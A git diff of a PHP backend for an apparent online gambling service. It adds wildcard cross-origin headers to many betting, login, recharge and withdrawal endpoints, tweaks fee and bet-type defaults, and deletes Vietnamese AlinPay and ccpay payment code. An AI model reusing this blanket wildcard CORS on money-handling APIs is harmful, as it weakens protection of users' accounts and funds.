header("Access-Control-Allow-Headers: token, Origin, X-Requested-With, Content-Type, Accept, Authorization");
|
||||
header('Access-Control-Allow-Methods: POST,GET,PUT,DELETE');
|
||||
if(Request::instance()->isPost()){
|
||||
$json_arr = decrypt_data(Request::instance()->post());
|
||||
if($json_arr){
|
||||
@@ -2563,6 +2593,9 @@ class Pcapi extends Controller{
|
||||
}
|
||||
//开结果后获取会员的下注信息及计算其输赢数目
|
||||
public function user_bet_dt(){
|
||||
header('Access-Control-Allow-Origin: *');
|
||||
header("Access-Control-Allow-Headers: token, Origin, X-Requested-With, Content-Type, Accept, Authorization");
|
||||
header('Access-Control-Allow-Methods: POST,GET,PUT,DELETE');
|
||||
if(Request::instance()->isPost()){
|
||||
$json_arr = decrypt_data(Request::instance()->post());
|
||||
if($json_arr){
|
||||
@@ -2651,6 +2684,9 @@ class Pcapi extends Controller{
|
||||
|
||||
//开结果后获取会员的下注信息及计算其输赢数目
|
||||
public function user_bet_nn(){
|
||||
header('Access-Control-Allow-Origin: *');
|
||||
header("Access-Control-Allow-Headers: token, Origin, X-Requested-With, Content-Type, Accept, Authorization");
|
||||
header('Access-Control-Allow-Methods: POST,GET,PUT,DELETE');
|
||||
if(Request::instance()->isPost()){
|
||||
$json_arr = decrypt_data(Request::instance()->post());
|
||||
if($json_arr){
|
||||
@@ -2683,6 +2719,9 @@ class Pcapi extends Controller{
|
||||
}
|
||||
//开结果后获取会员的下注信息及计算其输赢数目
|
||||
public function user_bet_tc(){
|
||||
header('Access-Control-Allow-Origin: *');
|
||||
header("Access-Control-Allow-Headers: token, Origin, X-Requested-With, Content-Type, Accept, Authorization");
|
||||
header('Access-Control-Allow-Methods: POST,GET,PUT,DELETE');
|
||||
if(Request::instance()->isPost()){
|
||||
$json_arr = decrypt_data(Request::instance()->post());
|
||||
if($json_arr){
|
||||
@@ -2715,6 +2754,9 @@ class Pcapi extends Controller{
|
||||
}
|
||||
//开结果后获取会员的下注信息及计算其输赢数目
|
||||
public function user_bet_toning(){
|
||||
header('Access-Control-Allow-Origin: *');
|
||||
header("Access-Control-Allow-Headers: token, Origin, X-Requested-With, Content-Type, Accept, Authorization");
|
||||
header('Access-Control-Allow-Methods: POST,GET,PUT,DELETE');
|
||||
if(Request::instance()->isPost()){
|
||||
$json_arr = decrypt_data(Request::instance()->post());
|
||||
if($json_arr){
|
||||
@@ -2746,6 +2788,9 @@ class Pcapi extends Controller{
|
||||
}
|
||||
//开结果后获取会员的下注信息及计算其输赢数目
|
||||
public function user_bet_dice(){
|
||||
header('Access-Control-Allow-Origin: *');
|
||||
header("Access-Control-Allow-Headers: token, Origin, X-Requested-With, Content-Type, Accept, Authorization");
|
||||
header('Access-Control-Allow-Methods: POST,GET,PUT,DELETE');
|
||||
if(Request::instance()->isPost()){
|
||||
$json_arr = decrypt_data(Request::instance()->post());
|
||||
if($json_arr){
|
||||
@@ -2776,6 +2821,9 @@ class Pcapi extends Controller{
|
||||
}
|
||||
}
|
||||
public function user_bet_roulette(){
|
||||
header('Access-Control-Allow-Origin: *');
|
||||
header("Access-Control-Allow-Headers: token, Origin, X-Requested-With, Content-Type, Accept, Authorization");
|
||||
header('Access-Control-Allow-Methods: POST,GET,PUT,DELETE');
|
||||
if(Request::instance()->isPost()){
|
||||
$json_arr = decrypt_data(Request::instance()->post());
|
||||
if($json_arr){
|
||||
@@ -2807,6 +2855,9 @@ class Pcapi extends Controller{
|
||||
}
|
||||
//快速提现
|
||||
public function show_withdrawal(){
|
||||
header('Access-Control-Allow-Origin: *');
|
||||
header("Access-Control-Allow-Headers: token, Origin, X-Requested-With, Content-Type, Accept, Authorization");
|
||||
header('Access-Control-Allow-Methods: POST,GET,PUT,DELETE');
|
||||
if(Request::instance()->isPost()){
|
||||
$json_arr = decrypt_data(Request::instance()->post());
|
||||
if($json_arr){
|
||||
@@ -2834,6 +2885,9 @@ class Pcapi extends Controller{
|
||||
}
|
||||
//确认提现
|
||||
public function withdrawal(){
|
||||
header('Access-Control-Allow-Origin: *');
|
||||
header("Access-Control-Allow-Headers: token, Origin, X-Requested-With, Content-Type, Accept, Authorization");
|
||||
header('Access-Control-Allow-Methods: POST,GET,PUT,DELETE');
|
||||
if(Request::instance()->isPost()){
|
||||
$json_arr = decrypt_data(Request::instance()->post());
|
||||
if($json_arr){
|
||||
@@ -2914,6 +2968,9 @@ class Pcapi extends Controller{
|
||||
}
|
||||
//充值信息
|
||||
public function show_recharge(){
|
||||
header('Access-Control-Allow-Origin: *');
|
||||
header("Access-Control-Allow-Headers: token, Origin, X-Requested-With, Content-Type, Accept, Authorization");
|
||||
header('Access-Control-Allow-Methods: POST,GET,PUT,DELETE');
|
||||
if(Request::instance()->isPost()){
|
||||
$json_arr = decrypt_data(Request::instance()->post());
|
||||
if($json_arr){
|
||||
@@ -2950,6 +3007,9 @@ class Pcapi extends Controller{
|
||||
}
|
||||
//确认充值
|
||||
public function recharge(){
|
||||
header('Access-Control-Allow-Origin: *');
|
||||
header("Access-Control-Allow-Headers: token, Origin, X-Requested-With, Content-Type, Accept, Authorization");
|
||||
header('Access-Control-Allow-Methods: POST,GET,PUT,DELETE');
|
||||
if(Request::instance()->isPost()){
|
||||
$json_arr = decrypt_data(Request::instance()->post());
|
||||
if($json_arr){
|
||||
@@ -3006,6 +3066,9 @@ class Pcapi extends Controller{
|
||||
}
|
||||
//游戏记录
|
||||
public function get_rob_bet(){
|
||||
header('Access-Control-Allow-Origin: *');
|
||||
header("Access-Control-Allow-Headers: token, Origin, X-Requested-With, Content-Type, Accept, Authorization");
|
||||
header('Access-Control-Allow-Methods: POST,GET,PUT,DELETE');
|
||||
if(Request::instance()->isPost()){
|
||||
$json_arr = decrypt_data(Request::instance()->post());
|
||||
if($json_arr){
|
||||
@@ -3221,6 +3284,9 @@ class Pcapi extends Controller{
|
||||
|
||||
//电话呼入
|
||||
public function online_call(){
|
||||
header('Access-Control-Allow-Origin: *');
|
||||
header("Access-Control-Allow-Headers: token, Origin, X-Requested-With, Content-Type, Accept, Authorization");
|
||||
header('Access-Control-Allow-Methods: POST,GET,PUT,DELETE');
|
||||
$phone = Request::instance()->post('phone');
|
||||
if($phone){
|
||||
$table_info = Db::name('table')->where('phone',$phone)->find();
|
||||
@@ -3250,6 +3316,9 @@ class Pcapi extends Controller{
|
||||
* DateTime: 2019/12/12 12:53
|
||||
*/
|
||||
public function doRegister(){
|
||||
header('Access-Control-Allow-Origin: *');
|
||||
header("Access-Control-Allow-Headers: token, Origin, X-Requested-With, Content-Type, Accept, Authorization");
|
||||
header('Access-Control-Allow-Methods: POST');
|
||||
if($data = Request::instance()->post()){
|
||||
$data = decrypt_data($data);
|
||||
$username = isset($data['username'])?$data['username']:'';
|
||||
@@ -3363,7 +3432,7 @@ class Pcapi extends Controller{
|
||||
$insertData['price_tc_hjths'] = $agentParent['price_tc_hjths'];
|
||||
$insertData['area_id'] = $agentParent['area_id'];
|
||||
|
||||
$insertData['bet_type'] = 1;
|
||||
$insertData['bet_type'] = 3;
|
||||
$insertData['reg_time'] = time();
|
||||
|
||||
if(getIp()){
|
||||
@@ -3578,7 +3647,7 @@ class Pcapi extends Controller{
|
||||
$insertData['price_tc_ths'] = $agentParent['price_tc_ths'];
|
||||
$insertData['price_tc_hjths'] = $agentParent['price_tc_hjths'];
|
||||
$insertData['area_id'] = $agentParent['area_id'];
|
||||
$insertData['bet_type'] = 1;
|
||||
$insertData['bet_type'] = 3;
|
||||
$insertData['reg_time'] = time();
|
||||
|
||||
if(getIp()){
|
||||
@@ -3603,6 +3672,9 @@ class Pcapi extends Controller{
|
||||
|
||||
//登录
|
||||
public function lineLogin(){
|
||||
header('Access-Control-Allow-Origin: *');
|
||||
header("Access-Control-Allow-Headers: token, Origin, X-Requested-With, Content-Type, Accept, Authorization");
|
||||
header('Access-Control-Allow-Methods: POST,GET,PUT,DELETE');
|
||||
if(Request::instance()->isPost()){
|
||||
$json_arr = decrypt_data(Request::instance()->post());
|
||||
if($json_arr){
|
||||
@@ -3675,6 +3747,9 @@ class Pcapi extends Controller{
|
||||
}
|
||||
|
||||
public function app_entrance(){
|
||||
header('Access-Control-Allow-Origin: *');
|
||||
header("Access-Control-Allow-Headers: token, Origin, X-Requested-With, Content-Type, Accept, Authorization");
|
||||
header('Access-Control-Allow-Methods: POST,GET,PUT,DELETE');
|
||||
if(Request::instance()->isPost()){
|
||||
$entrance = array();
|
||||
$entrance['HallUrl'] = HallUrl;
|
||||
@@ -3690,6 +3765,9 @@ class Pcapi extends Controller{
|
||||
}
|
||||
//api用户通过接口获取铺信息
|
||||
public function api_get_info(){
|
||||
header('Access-Control-Allow-Origin: *');
|
||||
header("Access-Control-Allow-Headers: token, Origin, X-Requested-With, Content-Type, Accept, Authorization");
|
||||
header('Access-Control-Allow-Methods: POST,GET,PUT,DELETE');
|
||||
if(Request::instance()->isPost()){
|
||||
$appId = intval(Request::instance()->post("appId"));
|
||||
$nonceStr = trim(Request::instance()->post("nonceStr"));
|
||||
@@ -3738,6 +3816,9 @@ class Pcapi extends Controller{
|
||||
// 用户充值记录
|
||||
public function user_recharge()
|
||||
{
|
||||
header('Access-Control-Allow-Origin: *');
|
||||
header("Access-Control-Allow-Headers: token, Origin, X-Requested-With, Content-Type, Accept, Authorization");
|
||||
header('Access-Control-Allow-Methods: POST,GET,PUT,DELETE');
|
||||
if(Request::instance()->isPost()) {
|
||||
$json_arr = decrypt_data(Request::instance()->post());
|
||||
if ($json_arr) {
|
||||
@@ -3773,6 +3854,9 @@ class Pcapi extends Controller{
|
||||
// 用户提现记录
|
||||
public function user_withdraw()
|
||||
{
|
||||
header('Access-Control-Allow-Origin: *');
|
||||
header("Access-Control-Allow-Headers: token, Origin, X-Requested-With, Content-Type, Accept, Authorization");
|
||||
header('Access-Control-Allow-Methods: POST,GET,PUT,DELETE');
|
||||
if(Request::instance()->isPost()) {
|
||||
$json_arr = decrypt_data(Request::instance()->post());
|
||||
if ($json_arr) {
|
||||
@@ -3808,6 +3892,9 @@ class Pcapi extends Controller{
|
||||
|
||||
//申请提现
|
||||
public function apply_withdraw(){
|
||||
header('Access-Control-Allow-Origin: *');
|
||||
header("Access-Control-Allow-Headers: token, Origin, X-Requested-With, Content-Type, Accept, Authorization");
|
||||
header('Access-Control-Allow-Methods: POST,GET,PUT,DELETE');
|
||||
if(Request::instance()->isPost()){
|
||||
$json_arr = decrypt_data(Request::instance()->post());
|
||||
if($json_arr){
|
||||
@@ -3830,7 +3917,7 @@ class Pcapi extends Controller{
|
||||
$system = Db::name('system')->find();
|
||||
$money = $user['money'];
|
||||
$withdrawMoney = empty($system['withdraw_money']) ? 100 : $system['withdraw_money'];
|
||||
$withdrawFee = empty($system['withdraw_fee']) ? 0 : $system['withdraw_fee'];
|
||||
$withdrawFee = empty($system['withdraw_fee']) ? 1 : $system['withdraw_fee'];
|
||||
|
||||
// 计算积分兑换
|
||||
$amountMoney = $withdrawMoney/100*($amount);
|
||||
@@ -3879,118 +3966,11 @@ class Pcapi extends Controller{
|
||||
|
||||
}
|
||||
|
||||
// 申请银行卡提现(越南AlinPay)
|
||||
public function apply_withdraw_bank(){
|
||||
if(Request::instance()->isPost()){
|
||||
$json_arr = decrypt_data(Request::instance()->post());
|
||||
if($json_arr){
|
||||
$userId = intval($json_arr['user_id']);
|
||||
$amount = floatval($json_arr['amount']);
|
||||
$accountName = trim($json_arr['account_name'] ?? '');
|
||||
$accountNumber = trim($json_arr['account_number'] ?? '');
|
||||
$bankCode = trim($json_arr['bank_code'] ?? '');
|
||||
$bankName = trim($json_arr['bank_name'] ?? '');
|
||||
|
||||
if(!$amount || $amount <= 0){
|
||||
return json(array('Success' => 0, 'Msg' => 'Số tiền rút không hợp lệ'));
|
||||
}
|
||||
if(empty($accountName)){
|
||||
return json(array('Success' => 0, 'Msg' => 'Tên tài khoản không được để trống'));
|
||||
}
|
||||
if(empty($accountNumber)){
|
||||
return json(array('Success' => 0, 'Msg' => 'Số tài khoản không được để trống'));
|
||||
}
|
||||
if(empty($bankName)){
|
||||
return json(array('Success' => 0, 'Msg' => 'Tên ngân hàng không được để trống'));
|
||||
}
|
||||
|
||||
$user = Db::name('user')->where(array('id' => $userId))->find();
|
||||
if($user){
|
||||
Db::startTrans();
|
||||
|
||||
$user = Db::name('user')->where(array('id' => $userId))->lock(true)->find();
|
||||
$system = Db::name('system')->find();
|
||||
$money = $user['money'];
|
||||
$withdrawMoney = empty($system['withdraw_money']) ? 100 : $system['withdraw_money'];
|
||||
$withdrawFee = empty($system['withdraw_fee']) ? 0 : $system['withdraw_fee'];
|
||||
|
||||
// 计算积分兑换
|
||||
$amountMoney = $withdrawMoney/100*($amount);
|
||||
$feeMoney = $withdrawMoney/100*($withdrawFee);
|
||||
$needMoney = $amountMoney + $feeMoney;
|
||||
if($needMoney > $money){
|
||||
Db::rollback();
|
||||
return json(array('Success' => 0, 'Msg' => 'Số dư không đủ'));
|
||||
}
|
||||
$afterMoney = $money - $needMoney;
|
||||
|
||||
// 银行卡信息存入ext
|
||||
$ext = json_encode([
|
||||
'accountName' => $accountName,
|
||||
'accountNumber' => $accountNumber,
|
||||
'bankCode' => $bankCode,
|
||||
'bankName' => $bankName,
|
||||
], JSON_UNESCAPED_UNICODE);
|
||||
|
||||
// 写入提现申请
|
||||
$res = Db::name('user_withdraw')->insert([
|
||||
'order_no' => createOrderNo('TX'),
|
||||
'user_id' => $userId,
|
||||
'amount' => $amount,
|
||||
'money' => $amountMoney,
|
||||
'old_money' => $money,
|
||||
'new_money' => $afterMoney,
|
||||
'service_fee' => $withdrawFee,
|
||||
'service_fee_money' => $feeMoney,
|
||||
'withdraw_rate' => $withdrawFee,
|
||||
'to_address' => $accountNumber,
|
||||
'pay_channel' => 'ALIN_VN',
|
||||
'ext' => $ext,
|
||||
'create_time' => time()
|
||||
]);
|
||||
if(!$res){
|
||||
Db::rollback();
|
||||
return json(array('Success' => 0, 'Msg' => 'Thao tác thất bại'));
|
||||
}
|
||||
|
||||
// 扣除用户余额
|
||||
$res = Db::name('user')->where('id',$userId)->update([
|
||||
'money' => $afterMoney,
|
||||
'update_time' => time()
|
||||
]);
|
||||
if(!$res){
|
||||
Db::rollback();
|
||||
return json(array('Success' => 0, 'Msg' => 'Thao tác thất bại'));
|
||||
}
|
||||
|
||||
Db::commit();
|
||||
return json(array('Success' => 1, 'Msg' => 'Thành công, vui lòng chờ xử lý'));
|
||||
}else{
|
||||
return json(array('Success' => 0, 'Msg' => 'Lấy thông tin thất bại'));
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// 获取越南银行列表
|
||||
public function get_bank_list_vn(){
|
||||
|
||||
$banks = \pay\AlinPay::getBankCodes();
|
||||
$list = [];
|
||||
foreach($banks as $index => $name){
|
||||
if(!empty($name)){
|
||||
$list[] = [
|
||||
'code' => $name,
|
||||
'name' => $name,
|
||||
];
|
||||
}
|
||||
}
|
||||
$data = encrypt_data(['status' => 1, 'data' => $list]);
|
||||
return json(array('Success' => 1, 'Data' => $data));
|
||||
}
|
||||
|
||||
// 取消提现
|
||||
public function cancel_withdraw(){
|
||||
header('Access-Control-Allow-Origin: *');
|
||||
header("Access-Control-Allow-Headers: token, Origin, X-Requested-With, Content-Type, Accept, Authorization");
|
||||
header('Access-Control-Allow-Methods: POST,GET,PUT,DELETE');
|
||||
if(Request::instance()->isPost()){
|
||||
$json_arr = decrypt_data(Request::instance()->post());
|
||||
if($json_arr) {
|
||||
@@ -4046,6 +4026,9 @@ class Pcapi extends Controller{
|
||||
*/
|
||||
public function deposit()
|
||||
{
|
||||
header('Access-Control-Allow-Origin: *');
|
||||
header("Access-Control-Allow-Headers: token, Origin, X-Requested-With, Content-Type, Accept, Authorization");
|
||||
header('Access-Control-Allow-Methods: POST,GET,PUT,DELETE');
|
||||
if(Request::instance()->isPost()){
|
||||
$json_arr = decrypt_data(Request::instance()->post());
|
||||
if($json_arr) {
|
||||
@@ -4107,6 +4090,9 @@ class Pcapi extends Controller{
|
||||
*/
|
||||
public function get_free_seat(){
|
||||
|
||||
header('Access-Control-Allow-Origin: *');
|
||||
header("Access-Control-Allow-Headers: token, Origin, X-Requested-With, Content-Type, Accept, Authorization");
|
||||
header('Access-Control-Allow-Methods: POST,GET,PUT,DELETE');
|
||||
if(Request::instance()->isPost()){
|
||||
$json_arr = decrypt_data(Request::instance()->post());
|
||||
if($json_arr) {
|
||||
@@ -4148,6 +4134,11 @@ class Pcapi extends Controller{
|
||||
* 无需鉴权,游客可访问
|
||||
*/
|
||||
public function get_lobby_data(){
|
||||
header('Access-Control-Allow-Origin: *');
|
||||
header("Access-Control-Allow-Headers: token, Origin, X-Requested-With, Content-Type, Accept, Authorization");
|
||||
header('Access-Control-Allow-Methods: POST,GET,PUT,DELETE,OPTIONS');
|
||||
header('Access-Control-Max-Age: 86400');
|
||||
|
||||
// 处理 OPTIONS 预检请求
|
||||
if(Request::instance()->isOptions()){
|
||||
return response('', 200);
|
||||
|
||||
@@ -1,316 +0,0 @@
|
||||
<?php
|
||||
namespace app\onlinechip\controller\traits;
|
||||
|
||||
use think\Db;
|
||||
use think\Log;
|
||||
use think\Request;
|
||||
|
||||
/**
|
||||
* AlinPay 越南支付 Trait
|
||||
* 仅包含代收(充值)相关方法
|
||||
* 代付回调在 Crypto.php 中处理
|
||||
*/
|
||||
trait alinPay
|
||||
{
|
||||
/**
|
||||
* 越南代收 - 发起充值
|
||||
*/
|
||||
public function alin_online_order()
|
||||
{
|
||||
// 兼容加密请求(Pcapi)和明文请求(Order)
|
||||
$post = Request::instance()->post();
|
||||
if (isset($post['encryptData'])) {
|
||||
$post = decrypt_data($post);
|
||||
if (!$post) {
|
||||
return json(['status' => 0, 'message' => '数据解密失败']);
|
||||
}
|
||||
}
|
||||
|
||||
$user_id = intval($post['user_id'] ?? 0);
|
||||
$money = intval($post['price'] ?? 0);
|
||||
$client = intval($post['client'] ?? 0);
|
||||
$username = trim($post['username'] ?? '');
|
||||
|
||||
$user = Db::name('user')->where([
|
||||
'id' => $user_id,
|
||||
'status' => 1,
|
||||
'is_delete' => 0,
|
||||
'agent' => 0,
|
||||
])->find();
|
||||
|
||||
if (!$user || $user_id <= 0 || $money <= 0 || $client <= 0) {
|
||||
return json(['status' => 0, 'message' => '参数错误,请稍后再试']);
|
||||
}
|
||||
|
||||
// 判断地区支线权限
|
||||
$zdlIdArr = explode(',', $user['agent_parent_id_path']);
|
||||
$area_list = config('area_list');
|
||||
|
||||
if (!isset($area_list[$user['area_id']])) {
|
||||
return json(['status' => 0, 'message' => '所在地区暂不支持充值']);
|
||||
}
|
||||
|
||||
$limitAgents = $area_list[$user['area_id']]['limit_agent'];
|
||||
$isAllow = empty($limitAgents);
|
||||
foreach ($limitAgents as $allowAgentId) {
|
||||
if (in_array($allowAgentId, $zdlIdArr)) {
|
||||
$isAllow = true;
|
||||
}
|
||||
}
|
||||
if (!$isAllow) {
|
||||
return json(['status' => 0, 'message' => '该账号暂不支持在线充值']);
|
||||
}
|
||||
|
||||
// 验证总代理余额
|
||||
$zdlId = $zdlIdArr[0];
|
||||
$zdl = Db::name('user')->where([
|
||||
'id' => $zdlId,
|
||||
'status' => 1,
|
||||
'is_delete' => 0,
|
||||
'agent' => 1,
|
||||
])->find();
|
||||
|
||||
if (!$zdl) {
|
||||
return json(['status' => 0, 'message' => '所属代理账号异常,暂不能充值']);
|
||||
}
|
||||
if ($zdl['money'] < $money) {
|
||||
return json(['status' => 0, 'message' => '所属代理余额不足,暂不能充值']);
|
||||
}
|
||||
|
||||
$pay_list = config('pay_list');
|
||||
$pay_orderid = 'E' . date("YmdHis") . rand(100000, 999999);
|
||||
$notify_url = $pay_list['alinPay']['notify_url'];
|
||||
|
||||
try {
|
||||
$alinPay = new \pay\AlinPay();
|
||||
$result = $alinPay->createOrder($pay_orderid, sprintf('%.2f', $money), $notify_url, 'uid:' . $user_id);
|
||||
|
||||
// 空响应处理(curl失败/DNS/超时等)
|
||||
if (!is_array($result)) {
|
||||
addLogToFile('代收下单:API无响应或返回非JSON,result=' . var_export($result, true), 'alin_error', 'alin');
|
||||
$data = encrypt_data(['status' => 0, 'message' => '支付通道无响应,请稍后再试']);
|
||||
return json(array('Success' => 1, 'Data' => $data));
|
||||
}
|
||||
|
||||
if (isset($result['code']) && $result['code'] == 200) {
|
||||
$returnUrl = $result['data']['url'] ?? '';
|
||||
|
||||
if (!$returnUrl) {
|
||||
$data = encrypt_data(['status' => 0, 'message' => '支付地址获取失败']);
|
||||
return json(array('Success' => 1, 'Data' => $data));
|
||||
}
|
||||
|
||||
// 记录订单
|
||||
$order_record = [
|
||||
'pay_channel_id' => 7,
|
||||
'pay_channel_name' => 'alinPay',
|
||||
'user_id' => $user_id,
|
||||
'order_sn' => $pay_orderid,
|
||||
'appid' => $alinPay->getConfigInfo()['app_id'],
|
||||
'api_key' => '',
|
||||
'money' => $money,
|
||||
'sign' => '',
|
||||
'create_time' => time(),
|
||||
'back_order_sn' => '',
|
||||
'client' => $client,
|
||||
];
|
||||
$order_id = Db::name('order_record')->insertGetId($order_record);
|
||||
|
||||
// 记录日志
|
||||
Db::name('order_log')->insert([
|
||||
'pay_channel_id' => 7,
|
||||
'pay_channel_name' => 'alinPay',
|
||||
'money' => $money,
|
||||
'create_time' => time(),
|
||||
'remake' => 'user_id:' . $user_id . ',用户名:' . $username . ',发起充值:' . $money . ',充值时间:' . date('Y-m-d H:i:s'),
|
||||
'order_id' => $order_id,
|
||||
'client' => $client,
|
||||
]);
|
||||
|
||||
$data = encrypt_data(['status' => 1, 'message' => '发起支付成功,即将跳转...', 'url' => $returnUrl]);
|
||||
return json(array('Success' => 1, 'Data' => $data));
|
||||
} else {
|
||||
$errMsg = isset($result['message']) ? $result['message'] : '未知错误(code=' . ($result['code'] ?? 'null') . ')';
|
||||
addLogToFile('代收下单失败:' . json_encode($result, JSON_UNESCAPED_UNICODE), 'alin_error', 'alin');
|
||||
$data = encrypt_data(['status' => 0, 'message' => '支付发起失败:' . $errMsg]);
|
||||
return json(array('Success' => 1, 'Data' => $data));
|
||||
}
|
||||
} catch (\Exception $e) {
|
||||
addLogToFile('代收下单异常:' . $e->getMessage() . ' | file:' . $e->getFile() . ':' . $e->getLine(), 'alin_error', 'alin');
|
||||
$data = encrypt_data(['status' => 0, 'message' => '支付发起失败[' . $e->getMessage() . ']']);
|
||||
return json(array('Success' => 1, 'Data' => $data));
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* 越南代收 - 回调处理
|
||||
*/
|
||||
public function alin_recharge_callback()
|
||||
{
|
||||
$post = Request::instance()->post();
|
||||
$json = json_encode($post, JSON_UNESCAPED_UNICODE);
|
||||
|
||||
addLogToFile('代收回调原始数据:' . $json, 'alin_callback', 'alin');
|
||||
|
||||
if (!is_array($post) || empty($post['out_trade_no']) || empty($post['sign'])) {
|
||||
Log::record($post, 'alin_error_callback');
|
||||
exit('fail');
|
||||
}
|
||||
|
||||
// 记录回调日志
|
||||
$logId = Db::name('pay_callback_log')->insertGetId([
|
||||
'pay_channel' => 'ALIN_RECHARGE',
|
||||
'type' => 'recharge',
|
||||
'json' => $json,
|
||||
'create_time' => date('Y-m-d H:i:s'),
|
||||
]);
|
||||
|
||||
try {
|
||||
$alinPay = new \pay\AlinPay();
|
||||
$result = $alinPay->verifyRechargeCallback($post, $logId);
|
||||
|
||||
if (!$result['verified']) {
|
||||
exit('fail');
|
||||
}
|
||||
|
||||
$tradeStatus = $result['trade_status'];
|
||||
|
||||
// trade_status: 1=成功, -1=处理中, 2=失败
|
||||
if ($tradeStatus === 1) {
|
||||
$this->alin_recharge_settle($post);
|
||||
exit('success');
|
||||
} elseif ($tradeStatus === 2) {
|
||||
// 失败,终态,确认收到
|
||||
addLogToFile('代收回调失败:order=' . $post['out_trade_no'], 'alin_callback', 'alin');
|
||||
exit('success');
|
||||
} else {
|
||||
// 处理中(-1),不返回success让网关重试
|
||||
exit('fail');
|
||||
}
|
||||
} catch (\Exception $e) {
|
||||
addLogToFile('代收回调处理异常:' . $e->getMessage(), 'alin_callback_error', 'alin');
|
||||
exit('fail');
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* 代收成功后结算(事务保护:扣代理、写recharge表、加用户余额)
|
||||
*/
|
||||
private function alin_recharge_settle($data)
|
||||
{
|
||||
$orderNo = $data['out_trade_no'];
|
||||
|
||||
Db::startTrans();
|
||||
try {
|
||||
// 加锁读取订单,防止重复处理
|
||||
$order = Db::name('order_record')->where('order_sn', $orderNo)->lock(true)->find();
|
||||
if (!$order || $order['status'] == 3) {
|
||||
Db::rollback();
|
||||
return;
|
||||
}
|
||||
|
||||
// 加锁读取用户
|
||||
$user = Db::name('user')->where([
|
||||
'id' => $order['user_id'],
|
||||
'status' => 1,
|
||||
'is_delete' => 0,
|
||||
'agent' => 0,
|
||||
])->lock(true)->find();
|
||||
if (!$user) {
|
||||
Db::rollback();
|
||||
return;
|
||||
}
|
||||
|
||||
$zdlIdArr = explode(',', $user['agent_parent_id_path']);
|
||||
$zdlId = $zdlIdArr[0];
|
||||
|
||||
// 加锁读取总代理
|
||||
$zdl = Db::name('user')->where([
|
||||
'id' => $zdlId,
|
||||
'status' => 1,
|
||||
'is_delete' => 0,
|
||||
'agent' => 1,
|
||||
])->lock(true)->find();
|
||||
|
||||
if (!$zdl || $zdl['money'] < $order['money']) {
|
||||
Db::rollback();
|
||||
addLogToFile('代收结算失败:代理余额不足 order=' . $orderNo, 'alin_callback_error', 'alin');
|
||||
return;
|
||||
}
|
||||
|
||||
// 1. 更新订单状态为已完成
|
||||
Db::name('order_record')->where('id', $order['id'])->update([
|
||||
'back_money' => $data['real_amount'] ?: $data['amount'],
|
||||
'back_time' => time(),
|
||||
'status' => 3,
|
||||
'agent_parent_id' => $user['agent_parent_id'],
|
||||
'agent_parent_username' => $user['agent_parent_username'],
|
||||
'zdl_id' => $zdl['id'],
|
||||
'zdl_username' => $zdl['username'],
|
||||
'zdl_money_before' => $zdl['money'],
|
||||
'zdl_money_after' => $zdl['money'] - $order['money'],
|
||||
'money_before' => $user['money'],
|
||||
'money_after' => $user['money'] + $order['money'],
|
||||
]);
|
||||
|
||||
// 2. 记录日志
|
||||
Db::name('order_log')->insert([
|
||||
'pay_channel_id' => 7,
|
||||
'pay_channel_name' => 'alinPay',
|
||||
'money' => $order['money'],
|
||||
'create_time' => time(),
|
||||
'remake' => '回调支付成功',
|
||||
'order_id' => $order['id'],
|
||||
]);
|
||||
|
||||
// 3. 写recharge流水表
|
||||
Db::name('recharge')->insert([
|
||||
'type' => 4,
|
||||
'amount' => $order['money'],
|
||||
'mode' => 1,
|
||||
'agent_or_admin' => 3,
|
||||
'controller_id' => $zdl['id'],
|
||||
'controller_username' => $zdl['username'],
|
||||
'controller_nickname' => $zdl['nickname'],
|
||||
'controller_type' => '越南第三方充值平台充值,扣取总代理余分',
|
||||
'controller_old_money' => $zdl['money'],
|
||||
'controller_new_money' => $zdl['money'] - $order['money'],
|
||||
'user_id' => $order['user_id'],
|
||||
'user_type' => $user['agent'],
|
||||
'user_agent_level' => 0,
|
||||
'username_for' => $user['username'],
|
||||
'nickname_for' => $user['nickname'],
|
||||
'user_parent_id' => $user['agent_parent_id'],
|
||||
'create_time' => time(),
|
||||
'old_money' => $user['money'],
|
||||
'new_money' => $user['money'] + $order['money'],
|
||||
'controller_system' => 3,
|
||||
'remake' => '越南AlinPay第三方充值成功',
|
||||
]);
|
||||
|
||||
// 4. 扣代理余额
|
||||
Db::name('user')->where('id', $zdl['id'])->update([
|
||||
'money' => $zdl['money'] - $order['money'],
|
||||
'last_recharge_out' => $order['money'],
|
||||
'last_recharge_out_time' => time(),
|
||||
'recharge_out_count' => $zdl['recharge_out_count'] + 1,
|
||||
'recharge_out_total_amount' => $zdl['recharge_out_total_amount'] + $order['money'],
|
||||
]);
|
||||
|
||||
// 5. 给用户加余额
|
||||
Db::name('user')->where('id', $order['user_id'])->update([
|
||||
'money' => $user['money'] + $order['money'],
|
||||
'last_recharge' => $order['money'],
|
||||
'last_recharge_time' => time(),
|
||||
'recharge_count' => $user['recharge_count'] + 1,
|
||||
'recharge_total_amount' => $user['recharge_total_amount'] + $order['money'],
|
||||
]);
|
||||
|
||||
Db::commit();
|
||||
addLogToFile('代收结算成功:order=' . $orderNo . ' money=' . $order['money'], 'alin_callback', 'alin');
|
||||
} catch (\Exception $e) {
|
||||
Db::rollback();
|
||||
addLogToFile('代收结算异常:' . $e->getMessage(), 'alin_callback_error', 'alin');
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -1,412 +0,0 @@
|
||||
<?php
|
||||
namespace app\onlinechip\controller\traits;
|
||||
|
||||
use think\Db;
|
||||
use think\Log;
|
||||
use think\Request;
|
||||
|
||||
trait ccpayPay
|
||||
{
|
||||
public function ccpay_online_order()
|
||||
{
|
||||
$post = Request::instance()->post();
|
||||
if (isset($post['encryptData'])) {
|
||||
$post = decrypt_data($post);
|
||||
if (!$post) {
|
||||
$data = encrypt_data(['status' => 0, 'message' => 'Dữ liệu không hợp lệ']);
|
||||
return json(['Success' => 1, 'Data' => $data]);
|
||||
}
|
||||
}
|
||||
|
||||
$user_id = intval($post['user_id'] ?? 0);
|
||||
$money = intval($post['price'] ?? 0);
|
||||
$client = intval($post['client'] ?? 0);
|
||||
$username = trim($post['username'] ?? '');
|
||||
|
||||
$user = Db::name('user')->where([
|
||||
'id' => $user_id,
|
||||
'status' => 1,
|
||||
'is_delete' => 0,
|
||||
'agent' => 0,
|
||||
])->find();
|
||||
|
||||
if (!$user || $user_id <= 0 || $money <= 0 || $client <= 0) {
|
||||
